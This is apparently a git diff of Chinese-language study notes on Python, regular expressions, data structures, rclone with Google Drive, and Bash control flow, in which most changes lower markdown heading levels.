## 文件读写
### 文件读写
### 使用 [json](https://docs.python.org/2.7/library/json.html#module-json) 存储结构化数据
#### 使用 [json](https://docs.python.org/2.7/library/json.html#module-json) 存储结构化数据
标准模块 [json](https://docs.python.org/2.7/library/json.html#module-json) 可以接受 Python 数据结构,并将它们转换为字符串表示形式;此过程称为 **序列化**。从字符串表示形式重新构建数据结构称为 **反序列化**。
@ -207,7 +207,7 @@ JSON 格式经常用于现代应用程序中进行数据交换。许多程序员
`x = json.load(f)`:重新解码对象。
## 错误和异常
### 错误和异常
```
try:
@ -219,9 +219,9 @@ finally:
```
## 类
###
### 迭代器
#### 迭代器
大多数容器对象都可以用 [for](https://docs.python.org/2.7/reference/compound_stmts.html#for) 遍历:
@ -246,7 +246,7 @@ StopIteration
```
### 给自己的类定义迭代器
#### 给自己的类定义迭代器
定义一个 [`__iter__()`](https://docs.python.org/2.7/reference/datamodel.html#object.__iter__) 方法,使其返回一个带有 [next()](https://docs.python.org/2.7/library/stdtypes.html#iterator.next) 方法的对象。如果这个类已经定义了 [next()](https://docs.python.org/2.7/library/stdtypes.html#iterator.next),那么 [`__iter__()`](https://docs.python.org/2.7/reference/datamodel.html#object.__iter__) 只需要返回 `self`:
@ -276,7 +276,7 @@ s
```
### 生成器
#### 生成器
[yield](https://docs.python.org/2.7/reference/simple_stmts.html#yield) 语句,每次 [next()](https://docs.python.org/2.7/library/functions.html#next) 被调用时,生成器回复它脱离的位置(它记忆语句最后一次执行的位置和所有的数据值)。当发生器终结时,还会自动抛出 [StopIteration](https://docs.python.org/2.7/library/exceptions.html#exceptions.StopIteration)异常。
@ -302,9 +302,9 @@ s
```
## Python标准库概览
### Python标准库概览
### 操作系统接口
#### 操作系统接口
```
&gt;&gt;&gt; import os
@ -326,7 +326,7 @@ s
```
### random
#### random
```
&gt;&gt;&gt; import random
@ -341,7 +341,7 @@ s
```
### 互联网访问
#### 互联网访问
用于处理从 urls 接收的数据的 [urllib2](https://docs.python.org/2.7/library/urllib2.html#module-urllib2) 以及用于发送电子邮件的 [smtplib](https://docs.python.org/2.7/library/smtplib.html#module-smtplib):
@ -367,7 +367,7 @@ s
```
### 日期和时间
#### 日期和时间
```
&gt;&gt;&gt; # dates are easily constructed and formatted
@ -386,7 +386,7 @@ datetime.date(2003, 12, 2)
```
### 数据压缩
#### 数据压缩
[zlib](https://docs.python.org/2.7/library/zlib.html#module-zlib)[gzip](https://docs.python.org/2.7/library/gzip.html#module-gzip)[bz2](https://docs.python.org/2.7/library/bz2.html#module-bz2)[zipfile](https://docs.python.org/2.7/library/zipfile.html#module-zipfile) 以及 [tarfile](https://docs.python.org/2.7/library/tarfile.html#module-tarfile)
@ -405,7 +405,7 @@ b'witch which has which witches wrist watch'
```
### 性能度量
#### 性能度量
[timeit](https://docs.python.org/2.7/library/timeit.html#module-timeit)

View File

@ -3,9 +3,9 @@
# Python2和Python3的区别
### 目录
#### 目录
### print和input
#### print和input
Python2等价版本
@ -28,7 +28,7 @@ fish#panda
python3.x中raw_input()和input( )进行了整合去除了raw_input()input()函数接收任意任性输入,将所有输入默认为字符串处理,并返回字符串类型。
### Unicode
#### Unicode
```
# Python2
@ -65,7 +65,7 @@ str
```
### 除法运算
#### 除法运算
**Python中的除法有两个运算符/和//**
@ -117,13 +117,13 @@ str
```
### 异常
#### 异常
Python 3 中我们现在使用 as 作为关键词,捕获异常的语法由 `except exc, var` 改为 `except exc as var`
### xrange
#### xrange
### 八进制字面量表示
#### 八进制字面量表示
```
# Python2
@ -160,11 +160,11 @@ SyntaxError: invalid token
```
### 不等运算符
#### 不等运算符
### 去掉了repr表达式``
#### 去掉了repr表达式``
### 多个模块被改名
#### 多个模块被改名
<th align="center">旧的名字</th><th align="center">新的名字</th>
|------
@ -177,7 +177,7 @@ SyntaxError: invalid token
httplib, BaseHTTPServer, CGIHTTPServer, SimpleHTTPServer, Cookie, cookielib被合并到http包内。取消了exec语句只剩下exec()函数
### 数据类型
#### 数据类型
```
# python3
@ -191,7 +191,7 @@ bytes
```
### map、filter 和 reduce
#### map、filter 和 reduce
```
# python2中他们都是内置函数输出都是列表
@ -231,7 +231,7 @@ bytes
注意Python2中next()函数 and .next()方法都能用Python3中只有next()函数
### For循环变量和全局命名空间泄漏
#### For循环变量和全局命名空间泄漏
```
# python2
@ -265,7 +265,7 @@ after: i = 1
```
### 返回可迭代对象,而不是列表
#### 返回可迭代对象,而不是列表
```
# python2
@ -307,4 +307,4 @@ dictionarys .items() method
```
### 参考
#### 参考

View File

@ -3,36 +3,36 @@
# Python3核心编程之正则表达式
### 元字符
#### 元字符
### 择一匹配模式
#### 择一匹配模式
择一匹配的管道符号(|),从多个模式中选择其一进行匹配
### 匹配任意单个字符
#### 匹配任意单个字符
**点号或者句点(.)符号匹配除了换行符\n 以外的任何字符**Python 正则表达式有一个编译标记[S 或者 DOTALL],该标记能够推翻这个限制,使点号能够匹配换行符)
### 从字符串起始或者结尾或者单词边界匹配
#### 从字符串起始或者结尾或者单词边界匹配
指定用于**搜索**的模式,匹配字符串的开始位置,就必须使用脱字符(^)或者特殊字符\A美元符号$)或者\Z将用于匹配字符串的末尾位置
\b 将用于匹配一个单词的边界,\B 将匹配出现在一个单词中间的模式,即不是边界
### 创建字符集
#### 创建字符集
方括号[ ],能够匹配一对方括号中包含的任何字符,相当于逻辑或
### 限定范围和否定
#### 限定范围和否定
方括号中两个符号中间用连字符(-)连接,用于指定一个字符的范围
脱字符(^)紧跟在左方括号后面,这个符号就表示不匹配给定字符集中的任何一个字符。
### 使用闭包操作符实现存在性和频数匹配
#### 使用闭包操作符实现存在性和频数匹配
### 表示字符集的特殊字符
#### 表示字符集的特殊字符
### 使用圆括号指定分组
#### 使用圆括号指定分组
### 扩展表示法
#### 扩展表示法

View File

@ -3,22 +3,22 @@
# Python书单
# Python书单
## Python书单
## 笔记整理
### 笔记整理
## Python基础
### Python基础
## 面试/笔试
### 面试/笔试
## Git
### Git
## GitBook
### GitBook
## C++参考书
### C++参考书
### 数据库
#### 数据库
### 图像处理
#### 图像处理
## 工具
### 工具

View File

@ -3,13 +3,13 @@
# Python基础教程总结
### 目录
#### 目录
>
参考:[https://book.douban.com/subject/4866934/](https://book.douban.com/subject/4866934/) 基于Python2.x.
## 第一章 基础知识
### 第一章 基础知识
```
#!/usr/bin/python2
@ -41,7 +41,7 @@ The temperature is 43
<td align="center">repr(object)</td>|返回值的字符串表示形式
<td align="center">round(num[, ndigits])</td>|根据给定的精度对数字进行四舍五入
## 第二章 列表和元祖
### 第二章 列表和元祖
**6中内建序列列表、元祖、字符串、Unicode字符串、buffer对象、xrange对象**
@ -87,7 +87,7 @@ cmp(x,y) # 比较x,y的大小x&gt;y返回1x&lt;y返回-1x=y返回0
```
## 第三章 字符串
### 第三章 字符串
**字符串不可变**
@ -122,7 +122,7 @@ strs.translate(str)
string.capwords(str[, sep]) 使用split()函数将字符串str分割sep为分割符使用capitalize()函数将分割得到的各单词首字母大写并且使用join()函数以sep为分隔符连接各单词
## 第四章 字典–映射
### 第四章 字典–映射
>
字典无序当索引不好用时用字典字典的格式化字符串很常用P58
@ -163,7 +163,7 @@ dic.update(x) #将字典dic更新到字典x
```
## 第五章 条件、循环和其他语句
### 第五章 条件、循环和其他语句
假:`False 0 “” None () [] {}`,其他一切都是真
@ -206,7 +206,7 @@ ord("a") #返回字符串a的值
```
## 第七章 抽象
### 第七章 抽象
>
**多态**可以让用户对于**不知道是什么类的对象**进行方法调用;而**封装**是可以**不用关心对象是如何构建的**而直接进行使用。
@ -233,7 +233,7 @@ s.__class__ # 返回对象s的类
```
## 第八章 异常
### 第八章 异常
```
try raise [except else] finally
@ -241,7 +241,7 @@ try raise [except else] finally
```
## 第九章 魔法方法、属性、迭代器
### 第九章 魔法方法、属性、迭代器
>
魔法方法一般指`__future__`这样的双下划线

View File

@ -3,7 +3,7 @@
# Python基础教程总结
# Python基础教程总结
## Python基础教程总结
>
参考:[https://book.douban.com/subject/4866934/](https://book.douban.com/subject/4866934/) 基于Python2.x.
@ -12,7 +12,7 @@
学东西快是我最大的优点和缺点,因为学的越快,忘的也越快,所以不得已才经常总结一些基本知识。。。
## 第十章 标准库
### 第十章 标准库
```
# sys.path里面存放供解释器查找模块的路径列表
@ -41,7 +41,7 @@ D:\Soteware\Python\Python2\lib\copy.pyc
一些常用的标准库见笔记:[Note](http://nbviewer.jupyter.org/github/ds19991999/Note/tree/dev/)
## 第十一章 文件和流
### 第十一章 文件和流
<th align="center"></th>|描述
|------

View File

@ -3,7 +3,7 @@
# Python数据结构——Python数据类型
# 回顾Python数据类型
## 回顾Python数据类型
本系列需要用到的源码:[Python数据结构类封装](https://download.csdn.net/download/ds19991999/10571330)
@ -11,7 +11,7 @@
Python支持面向对象的编程模式这意味这Python在解决问题的过程中重点是数据.
## 基本类型
### 基本类型
```
False or True
@ -85,7 +85,7 @@ myName.split('s')
```
## 输入与输出
### 输入与输出
```
aName = input("Please enter your name ")
@ -113,9 +113,9 @@ Hello World***
```
## 控制结构
### 控制结构
## 异常
### 异常
```
import math
@ -155,7 +155,7 @@ math domain error
```
## 定义函数
### 定义函数
```
def f(x):
@ -184,7 +184,7 @@ f(f(3))
```
## 类
###
```
def gcd(m,n):
@ -233,6 +233,6 @@ False
```
## 面向对象编程详见专题笔记
### 面向对象编程详见专题笔记
## 总结
### 总结

View File

@ -3,15 +3,15 @@
# Python数据结构——基本数据结构
# 基本数据结构
## 基本数据结构
# Contents
## Contents
## 栈
###
### 简介
#### 简介
### Python实现栈
#### Python实现栈
```
class Stack:
@ -52,7 +52,7 @@ s.items
```
### 简单括号匹配
#### 简单括号匹配
给出一个表达式(5+6)(7+8)/(4+3),如何判断它的括号是否匹配,给出一个空栈,如果是’(‘就入栈,如果是’(‘就出栈,最后的栈如果是空栈则括号匹配,否则不匹配
@ -94,7 +94,7 @@ False
```
### 符号匹配
#### 符号匹配
在 Python 中,方括号 [ 和 ] 用于列表,花括号 { 和 } 用于字典。括号 ( 和 ) 用于元祖和算术表达式。只要每个符号都能保持自己的开始和结束关系,就可以混合符号
@ -140,7 +140,7 @@ False
```
### 十进制转换成二进制
#### 十进制转换成二进制
```
from pythonds.basic.stack import Stack
@ -195,11 +195,11 @@ print(baseConverter(30,16))
```
### 中缀前缀和后缀表达式
#### 中缀前缀和后缀表达式
我们生活中一般接触到的都是中缀运算符,所以不作介绍,而前缀和后缀运算符与中缀运算符的转换见下表: <br/> <img alt="" src="https://raw.githubusercontent.com/ds19991999/githubimg/master/picgo/20180729163838.png" title=""/> <br/> <img alt="" src="https://raw.githubusercontent.com/ds19991999/githubimg/master/picgo/20180729164150.png" title=""/>
#### 中缀转后缀算法
##### 中缀转后缀算法
假设中缀表达式是一个由空格分隔的标记字符串。 操作符标记是`*/+和 -` ,以及左右括号。操作数是单字符 ABC 等。 以下步骤将后缀顺序生成一个字符串: <br/> * 创建一个名为 `opstack` 的空栈以保存运算符。给输出创建一个空列表。 <br/> * 通过使用字符串方法拆分将输入的中缀字符串转换为标记列表。 <br/> * 从左到右扫描标记列表。 <br/> * 如果标记是操作数,将其附加到输出列表的末尾。 <br/> * 如果标记是左括号,将其压到 opstack 上。 <br/> * 如果标记是右括号,则弹出 opstack直到删除相应的左括号。将每个运算符附加到输出列表的末尾。 <br/> * 如果标记是运算符,`*/+或 -`,将其压入 `opstack`。但是,首先删除已经在 opstack 中具有更高或相等优先级的任何运算符,并将它们加到输出列表中。 <br/> * 当输入表达式被完全处理时,检查 opstack。仍然在栈上的任何运算符都可以删除并加到输出列表的末尾。 <br/> <img alt="" src="https://raw.githubusercontent.com/ds19991999/githubimg/master/picgo/20180729170448.png" title=""/>
@ -254,7 +254,7 @@ A B + C * D E - F G + * -
```
#### 后缀表达式求值
##### 后缀表达式求值
例如计算:`4 5 6 * +` <br/> <img alt="" src="https://raw.githubusercontent.com/ds19991999/githubimg/master/picgo/20180729184244.png" title=""/>
@ -299,13 +299,13 @@ print postfixEval('7 8 + 3 2 + /')
```
## 队列
### 队列
### 简介
#### 简介
添加新项的一端称为队尾移除项的一端称为队首先进先出FIFO <br/> * `Queue()` 创建一个空的新队列。 它不需要参数,并返回一个空队列。 <br/> * `enqueue(item)` 将新项添加到队尾。 它需要 item 作为参数,并不返回任何内容。 <br/> * `dequeue()`从队首移除项。它不需要参数并返回 item。 队列被修改。 <br/> * `isEmpty()` 查看队列是否为空。它不需要参数,并返回布尔值。 <br/> * `size()`返回队列中的项数。它不需要参数,并返回一个整数。 <br/> <img alt="" src="https://raw.githubusercontent.com/ds19991999/githubimg/master/picgo/20180729190741.png" title=""/>
### Python实现队列
#### Python实现队列
假定队尾在列表中的位置为 0入队队尾为 O(n),出队为 O(1)。
@ -337,7 +337,7 @@ print q.items
```
### 模拟:烫手山芋
#### 模拟:烫手山芋
首先,让我们看看孩子们的游戏烫手山芋,在这个游戏中,孩子们围成一个圈,并尽可能快的将一个山芋递给旁边的孩子。在某一个时间,动作结束,有山芋的孩子从圈中移除。游戏继续开始直到剩下最后一个孩子。
@ -360,11 +360,11 @@ Susan
```
## 双端队列Deque
### 双端队列Deque
### 简介
#### 简介
### Python实现Deque
#### Python实现Deque
```
class Deque:
@ -384,7 +384,7 @@ class Deque:
return len(self.items)
```
### 回文检查
#### 回文检查
如`radar toot madam`我们先将字符串存入deque如果队首队尾元素相同删除队首队尾直至只剩下一个字符或者0个字符
@ -412,11 +412,11 @@ True
```
## 无序列表
### 无序列表
### 简介
#### 简介
### 实现无序列表:链表
#### 实现无序列表:链表
```
# 定义链表结点
@ -452,4 +452,4 @@ class UnorderedList:
self.head = None
```
## 有序列表抽象数据结构
### 有序列表抽象数据结构

View File

@ -3,11 +3,11 @@
# Python数据结构——算法分析
# 算法分析
## 算法分析
# Contents
## Contents
## 一个例子
### 一个例子
>
对简单的 `Python` 程序做基准测试`benchmark`
@ -122,7 +122,7 @@ Sum is 500500 required 0.0000000 seconds
```
## 大O符号
### 大O符号
```
import numpy as np
@ -166,7 +166,7 @@ f(n)
)
的最大项也就是当n趋于无穷大时的最大项忽略系数
<script type="math/tex">f(n)</script>的最大项也就是当n趋于无穷大时的最大项忽略系数
O(f(n))
@ -191,11 +191,11 @@ O(f(n))
)
表示
<script type="math/tex">O(f(n))</script>表示
## 乱序字符串例子
### 乱序字符串例子
### Method 1检查
#### Method 1检查
思路: <br/> * 检查第一个字符串是否出现在第二个字符串中,如果可以检测到每一个字符,那么这两个字符串就是乱序. <br/> * Python字符串不可变先将它变为可变的列表.
@ -249,9 +249,9 @@ O(n2)
)
<script type="math/tex">O(n^2)</script>
### Method 2:排序比较
#### Method 2:排序比较
思路:由于我们是要判断两个字符串是不是由完全相同的字符组成,所以我们可以先将他们排序,排序后如果
s1==s2
@ -272,7 +272,7 @@ s1==s2
2
,那么这两个字符串就是乱序字符串.
<script type="math/tex">s1==s2</script>,那么这两个字符串就是乱序字符串.
```
def founction2(s1,s2):
@ -304,7 +304,7 @@ True
算法分析:调用`python`的排序函数有时间成本,通常为`O(n^2) 或 O(nlogn)`,所以排序操作比迭代花费更多。最后该算法跟排序过程有同样的量级。
### 穷举法
#### 穷举法
思路:生成
s1
@ -316,7 +316,7 @@ s1
1
的所有乱序字符串列表,然后查看是不是有
<script type="math/tex">s1</script> 的所有乱序字符串列表,然后查看是不是有
s2
@ -326,7 +326,7 @@ s2
2
,这种序列有
<script type="math/tex">s2</script>,这种序列有
n!
@ -336,7 +336,7 @@ n!
!
种,
<script type="math/tex">n!</script>种,
n!
@ -346,7 +346,7 @@ n!
!
<script type="math/tex">n!</script>
n2
@ -358,9 +358,9 @@ n2
2
增长更快。
<script type="math/tex">n^2</script>增长更快。
### 计数和比较
#### 计数和比较
思路:利用两个乱序字符串具有相同数目的 a, b, c 等字符的事实,首先计算的是每个字母出现的次数。由于有 26 个可能的字符,我们就用 一个长度为 26 的列表,每个可能的字符占一个位置。每次看到一个特定的字符,就增加该位置的计数器。最后如果两个列表的计数器一样,则字符串为乱序字符串。
@ -409,14 +409,14 @@ O(n)
)
.
<script type="math/tex">O(n)</script>.
## Python基础模块的性能
### Python基础模块的性能
Python 数据结构性能的最新信息:[https://wiki.python.org/moin/TimeComplexity](https://wiki.python.org/moin/TimeComplexity)
### 列表`[ ]`
#### 列表`[ ]`
<img alt="imag" src="https://github.com/facert/python-data-structure-cn/raw/61b1080414bf6b4cadb0998dbc2aa6e3bfe96d88/2.%E7%AE%97%E6%B3%95%E5%88%86%E6%9E%90/2.6.%E5%88%97%E8%A1%A8/assets/2.6.%E5%88%97%E8%A1%A8%20Table2.png" title=""/>
### 字典{ }
#### 字典{ }

View File

@ -3,7 +3,7 @@
# Python数据结构——排序和搜索
# 排序和搜索
## 排序和搜索
```
15 in [3,3,2,1,4]
@ -23,7 +23,7 @@ True
```
## 顺序查找
### 顺序查找
```
# 查找列表中的项,假设列表项无序
@ -75,7 +75,7 @@ True
```
## 二分法查找
### 二分法查找
```
def binary_search(alist,item):
@ -129,7 +129,7 @@ True
```
## Hash查找
### Hash查找
哈希表 是以一种容易找到它们的方式存储的项的集合。哈希表的每个位置,通常称为一个槽,可以容纳一个项,并且由从 0 开始的整数值命名。例如,我们有一个名为 0 的槽,名为 1 的槽,名为 2 的槽以上。最初哈希表不包含项因此每个槽都为空。我们可以通过使用列表来实现一个哈希表每个元素初始化为None 。Figure 4 展示了大小 m = 11 的哈希表。换句话说,在表中有 m 个槽,命名为 0 到 10。 <br/> <img alt="" src="https://raw.githubusercontent.com/ds19991999/githubimg/master/picgo/20180730133625.png" title=""/>
@ -145,7 +145,7 @@ def hash(astring, tablesize):
冲突解决: <br/> <img alt="" src="https://raw.githubusercontent.com/ds19991999/githubimg/master/picgo/20180730135953.png" title=""/>
## 排序
### 排序
```
# 冒泡排序

View File

@ -3,11 +3,11 @@
# Python数据结构——递归
# 递归
## 递归
递归是一种解决问题的方法,将问题分解为更小的子问题,直到得到一个足够小的问题可以被很简单的解决。通常递归涉及函数调用自身。递归允许我们编写优雅的解决方案,解决可能很难编程的问题。
## 计算整数列表和
### 计算整数列表和
```
# version1
@ -41,9 +41,9 @@ print list_num2([1,3,5,7,9])
```
## 递归三定律
### 递归三定律
## 整数转任意进制字符
### 整数转任意进制字符
```
def to_str(n,base):
@ -60,7 +60,7 @@ print to_str(1453,16)
```
## 栈帧:实现递归
### 栈帧:实现递归
```
from pythonds.basic.stack import Stack
@ -87,7 +87,7 @@ print to_str(1453,16)
```
## 可视化递归
### 可视化递归
```
# turtle 是 Python 所有版本的标准库,插图的工具
@ -137,7 +137,7 @@ def main():
main()
```
## 谢尔宾斯基三角形
### 谢尔宾斯基三角形
```
import turtle
@ -184,7 +184,7 @@ def main():
main()
```
## 汉诺塔游戏
### 汉诺塔游戏
有一个印度教寺庙,将谜题交给年轻的牧师。在开始的时候,牧师们被给予三根杆和一堆 64 个金碟,每个盘比它下面一个小一点。他们的任务是将所有 64 个盘子从三个杆中一个转移到另一个。有两个重要的约束,它们一次只能移动一个盘子,并且它们不能在较小的盘子顶部上放置更大的盘子。牧师日夜不停每秒钟移动一块盘子。当他们完成工作时,传说,寺庙会变成灰尘,世界将消失。
@ -224,7 +224,7 @@ moveTower(4,'fromPole', 'toPole', 'withPole')
```
## 动态规划
### 动态规划
假设你是一个自动售货机制造商的程序员。你的公司希望通过给每个交易最少硬币来简化工作。假设客户放入 1 美元的钞票并购买 37 美分的商品。你可以用来找零的最小数量的硬币是多少?

View File

@ -3,15 +3,15 @@
# Python正则表达式
# 正则表达式
## 正则表达式
>
参考:[正则表达式](https://github.com/CyC2018/Interview-Notebook/blob/master/notes/%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F.md)
## 一、概述
### 一、概述
## 二、匹配单个字符
### 二、匹配单个字符
```
# 正则表达式
@ -21,7 +21,7 @@ My name is DS中的name
```
## 三、匹配一组字符串
### 三、匹配一组字符串
```
abcd
@ -31,9 +31,9 @@ abc2
```
## 四、使用元字符
### 四、使用元字符
### 匹配空白字符
#### 匹配空白字符
<th align="center">元字符</th><th align="center">说明</th>
|------
@ -44,30 +44,30 @@ abc2
<td align="center">\t</td><td align="center">制表符</td>
<td align="center">\v</td><td align="center">垂直制表符</td>
### 匹配特定的字符类别
#### 匹配特定的字符类别
#### 数字元字符
##### 数字元字符
<th align="center">元字符</th><th align="center">说明</th>
|------
<td align="center">\d</td><td align="center">数字字符,等价于[0-9]</td>
<td align="center">\D</td><td align="center">非数字字符,等价于[^0-9]</td>
#### 字母数字元字符
##### 字母数字元字符
<th align="center">元字符</th><th align="center">说明</th>
|------
<td align="center">\w</td><td align="center">大小写字母,下划线和数字,等价于[a-zA-Z0-9]</td>
<td align="center">\W</td><td align="center">对\w取非</td>
#### 空白字符元字符
##### 空白字符元字符
<th align="center">元字符</th><th align="center">说明</th>
|------
<td align="center">\s</td><td align="center">任何一个空白字符,等价于[\f\n\r\t\v]</td>
<td align="center">\S</td><td align="center">对\s取非</td>
## 五、重复匹配
### 五、重复匹配
```
[\w.]+@\w+\.\w+
@ -75,13 +75,13 @@ abc2
```
## 六、位置匹配
### 六、位置匹配
### 单词边界
#### 单词边界
### 字符串边界
#### 字符串边界
## 七、使用子表达式
### 七、使用子表达式
```
192.168.0.1
@ -92,7 +92,7 @@ abc2
匹配到了第一个
## 八、回溯引用
### 八、回溯引用
```
&lt;h1&gt;x&lt;/h1&gt;
@ -110,10 +110,10 @@ abc2
<td align="center">\U</td><td align="center">把\U和\E之间的字符全部转换成大写</td>
<td align="center">\E</td><td align="center">结束\L或者\U</td>
## 九、前后查找
### 九、前后查找
## 十、嵌入条件
### 十、嵌入条件
### 回溯引用条件
#### 回溯引用条件
### 前后查找条件
#### 前后查找条件

View File

@ -5,9 +5,9 @@
官方文档:[re](https://docs.python.org/3/library/re.html?highlight=re#module-re)
# Contents
## Contents
## re模块
### re模块
① Python 1.5.2 版中新增2.4 版中增加 flags 参数
@ -17,9 +17,9 @@
主要学习match()和 search(),以及 compile()函数
## re常用函数
### re常用函数
### 使用 match()方法匹配字符串
#### 使用 match()方法匹配字符串
`match(pattern string flags=0)`
@ -88,7 +88,7 @@ m.group()
```
### 使用search()在一个字符串中查找模式(搜索与匹配的对比)
#### 使用search()在一个字符串中查找模式(搜索与匹配的对比)
`search(pattern string flags=0)`
@ -112,7 +112,7 @@ foo
```
### 匹配多个字符串(|
#### 匹配多个字符串(|
```
<code>bt = 'bat|bet|bit'
@ -151,7 +151,7 @@ bit
到这里match()和search()的区别基本上就清晰了
### 匹配任何单个字符
#### 匹配任何单个字符
点号(.)不能匹配一个换行符\n 或者非字符,也就是说,一个空字符串
@ -229,7 +229,7 @@ str
```
### 创建字符集([ ])
#### 创建字符集([ ])
```
<code>m = re.match('[cr][23][dp][o2]', 'c3po') # 匹配 'c3po'
@ -255,7 +255,7 @@ str
```
### 重复、特殊字符以及分组
#### 重复、特殊字符以及分组
简单电子邮件地址的正则表达式`\w+@\w+\.com`, `www.xxx.com`,仅仅允许 [xxx.com](http://xxx.com) 作为整个域名,必须修改现有的正则表达式.为了表示主机名是可选的,即`\w+@(\w+\.)?\w+\.com`
@ -421,7 +421,7 @@ m.group()
```
### 匹配字符串的起始和结尾以及单词边界
#### 匹配字符串的起始和结尾以及单词边界
更多用于表示搜索而不是匹配
@ -470,7 +470,7 @@ the
```
### 使用 findall()和 finditer()查找每一次出现的位置
#### 使用 findall()和 finditer()查找每一次出现的位置
```
findall(pattern string [, flags] )
@ -622,7 +622,7 @@ g.groups()
```
### 使用 sub()和 subn()搜索与替换
#### 使用 sub()和 subn()搜索与替换
两者几乎一样,都是将某字符串中所有匹配正则表达式的部分进行某种形式的替换,但它也可能是一个函数,该函数返回一个用来替换的字符串。
@ -704,7 +704,7 @@ group方法除了能够取出匹配分组编号外还可以使用\N
```
### 在限定模式上使用 split()分隔字符串
#### 在限定模式上使用 split()分隔字符串
```
<code>DATA = (
@ -730,7 +730,7 @@ for datum in DATA:
```
### 扩展符号
#### 扩展符号
** i不区分大小写 **
@ -816,9 +816,9 @@ x该标记允许用户通过抑制在正则表达式中使用空白符除了
**对于正则表达式,尽量使用原始字符串**
## 正则表达式示例
### 正则表达式示例
### 复习jupyter魔法
#### 复习jupyter魔法
1. 这个是Jupyter的魔法使用将字符串写入文件回顾一下算了,具体见笔记:<br/> [Ipython解释器](/notebooks/python-tools/02-ipython-interpreter.ipynb)
```
<code>%%writefile whodata.txt
@ -947,7 +947,7 @@ os.remove('test.py')
```
### 正则表达式示例
#### 正则表达式示例
```
<code>%%writefile whodata.py
@ -983,7 +983,7 @@ Overwriting whodata.py
```
#### 分割 POSIX 的 who 命令输出([whodate.py](http://whodate.py))
##### 分割 POSIX 的 who 命令输出([whodate.py](http://whodate.py))
```
<code>%%writefile whodata.py
@ -1642,7 +1642,7 @@ Overwriting retasklist.py
```
#### 实战示例
##### 实战示例
```
<code>%%writefile gendata.py
@ -1766,7 +1766,7 @@ Thu
```
### 搜索、匹配和贪婪
#### 搜索、匹配和贪婪
```
<code>patt = '\d+-\d+-\d+'

View File

@ -7,11 +7,11 @@
### 目录
#### 目录
## 一些简单命令
### 一些简单命令
### 挂载
#### 挂载
```
# windows 挂载命令
@ -26,7 +26,7 @@ umount /path/to/local/mount
```
### rclone命令
#### rclone命令
```
rclone ls
@ -136,7 +136,7 @@ rclone mount # 挂载命令
```
## 用自己的 api 进行 gd 转存
### 用自己的 api 进行 gd 转存
>
见这位大佬博客:[https://www.moerats.com/archives/877/](https://www.moerats.com/archives/877/)
@ -164,7 +164,7 @@ rclone mount # 挂载命令
```
## 突破 Google Drive 服务端 750g 限制
### 突破 Google Drive 服务端 750g 限制
谷歌官方明确限制通过第三方`api`每天限制转存`750G`文件,这个 `750G` 是直接通过谷歌服务端进行,文件没有经过客户端,另外经过客户端上传到 `gd` 与 服务端转存不冲突,官方也有 `750G` 限制,所以每天上传限额一共是 `1.5T`
@ -179,6 +179,6 @@ rclone --disable copy GD1:/PATH GD2:/PATH
这样就是每天 `1.5T` 了。
## 谷歌文档限制
### 谷歌文档限制
`rclone ls` 中谷歌文档会出现 `-1` 而对于其他 `VFS` 层文件显示 `0` ,比喻通过 `rclone mount``rclone serve`操作的文件。而我们用 `rclone sync``rclone copy`的命令时,它会忽略文档大小而直接操作。也就是说如果你没有下载谷歌文档,就不知道它多大,没啥影响…

View File

@ -3,9 +3,9 @@
# Shell流程控制case 分支
## 流程控制case 分支
### 流程控制case 分支
### case
#### case
```
case word in
@ -50,7 +50,7 @@ esac
```
### 模式
#### 模式
case 语句使用的模式和路径展开中使用的那些是一样的。模式以一个 “)” 为终止符。这里是一些有效的模式。
@ -134,9 +134,9 @@ esac
```
## 位置参数
### 位置参数
### 访问命令行
#### 访问命令行
shell 提供了一个称为位置参数的变量集合这个集合包含了命令行中所有独立的单词。这些变量按照从0到9给予命名。
@ -173,7 +173,7 @@ $9 =
```
### shift - 访问多个参数的利器
#### shift - 访问多个参数的利器
执行一次 shift 命令, 就会导致所有的位置参数 “向下移动一个位置”。
@ -199,7 +199,7 @@ Argument 4 = d
```
### 处理集体位置参数
#### 处理集体位置参数
shell 提供了两种特殊的参数,他们二者都能扩展成完整的位置参数列表,但以相当微妙的方式略有不同。
@ -252,7 +252,7 @@ $4 =
```
### 一个更复杂的应用
#### 一个更复杂的应用
```
#!/bin/bash

View File

@ -3,9 +3,9 @@
# Shell流程控制if 分支结构
## 流程控制if 分支结构
### 流程控制if 分支结构
### if
#### if
```
x=5
@ -96,7 +96,7 @@ test_file () {
当与 test 一块使用的时候, &gt;&lt; 表达式操作符必须用引号引起来(或者是用反斜杠转义)
### 整型表达式
#### 整型表达式
测试整数表达式:
@ -109,7 +109,7 @@ test_file () {
|integer1 -ge integer2|integer1 大于或等于 integer2。
|integer1 -gt integer2|integer1 大于 integer2。
### 更现代的测试版本
#### 更现代的测试版本
```
# 加强的 test 命令替代物
@ -122,7 +122,7 @@ if [[ $FILE == foo.* ]]; then
`string1 =~ regex`:匹配正则表达式则返回真
### (( )) - 为整数设计
#### (( )) - 为整数设计
`(( ))` 复合命令,支持一套 完整的算术计算,`(( ))`被用来执行算术真测试。如果算术计算的结果是非零值,则其测试值为真。
@ -135,7 +135,7 @@ else
```
### 结合表达式
#### 结合表达式
逻辑操作符:
@ -145,7 +145,7 @@ else
|OR|-o|||
|NOT|!|!
### 控制操作符:分支的另一种方法
#### 控制操作符:分支的另一种方法
```
command1 &amp;&amp; command2
@ -155,9 +155,9 @@ command1 || command2
对于 &amp;&amp; 操作符,先执行 command1只有command1 执行成功后, 才会执行 command2。对于 || 操作符,先执行 command1只有command1 执行失败后, 才会执行 command2。
## 读取键盘输入
### 读取键盘输入
### read - 从标准输入读取数值
#### read - 从标准输入读取数值
```
read [-options] [variable...]
@ -231,7 +231,7 @@ read var1 var2 var3 var4 var5
-t和-sp 选项,读取“秘密”输入,在特定的时间内 输入没有完成,就终止输入。
### IFS
#### IFS
**IFS** 的默认值包含一个空格,一个 tab和一个换行符每一个都会把 字段分割开。
@ -242,7 +242,7 @@ IFS=":" read user pw uid gid name home shell &lt;&lt;&lt; "$file_info"
这一行由三部分组成:对一个变量的赋值操作,一个带有一串参数的 read 命令,和一个奇怪的新的重定向操作符。这个 `&lt;&lt;&lt;` 操作符指示一个 here 字符串。**不能把 管道用在 read 上**----管道线 会创建子 shell。
### 菜单
#### 菜单
```
#!/bin/bash

View File

@ -3,9 +3,9 @@
# Shell流程控制while/until 循环
## 流程控制while/until 循环
### 流程控制while/until 循环
### while
#### while
```
#!/bin/bash
@ -72,7 +72,7 @@ echo "Program terminated."
shell中的循环支持`break和continue`
### until
#### until
```
#!/bin/bash
